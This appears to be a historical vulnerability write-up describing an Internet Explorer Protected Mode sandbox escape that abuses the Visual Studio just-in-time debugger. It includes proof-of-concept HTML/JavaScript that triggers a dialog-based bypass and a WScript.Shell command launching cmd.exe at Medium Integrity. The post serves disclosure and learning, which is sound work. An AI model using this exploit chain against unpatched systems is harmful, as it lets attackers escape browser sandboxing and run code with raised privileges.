Protected Mode Bypass via vsjitdebugger.exe Accepting Binary Arguments

This finding built on an existing technique for escaping Low Rights IE (LoRIE) by abusing vsjitdebugger.exe — the Visual Studio just-in-time debugger — which accepts a binary path as a command-line argument and launches it at Medium Integrity. It assumed the attacker already had a way to execute binaries in LoRIE (for example via a memory corruption bug or the internal dialog technique found earlier). The attack surface was limited to machines with Visual Studio installed.

<!-- Trigger via internal dialog bypass (from earlier finding): -->
<img id="c2eec6217e1a474eb649bfedd577334a">
<img id="c2eec6217e1a474eb649bfedd577334a">
<script>
document.all.c2eec6217e1a474eb649bfedd577334a.removeAttribute = function tricked_removeAttribute(a,b,c)
{
    if (!window.fRunOnce)
    {
        win = showModelessDialog("shell.html?RND=" + parseInt(Math.random()*1000), window, "dialogwidth=400px");
        window.fRunOnce = true;
    }
}
function main()
{
    if (window.fRunOnce) { alert("Refresh the page and retry"); return; }
    document.execCommand("InsertImage",1,1);
}
</script>
<input type="button" onclick="main();" value="Run cmd.exe using vsjitdebugger">

// From within the dialog or any Low Rights code execution:
new ActiveXObject("WScript.Shell").Exec('vsjitdebugger c:\\windows\\system32\\cmd.exe');

When vsjitdebugger.exe was called with a binary path, Visual Studio prompted the user to confirm. Even if the user selected “No”, binaries loaded from network shares still executed — making the dialog a cosmetic barrier rather than a real one.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.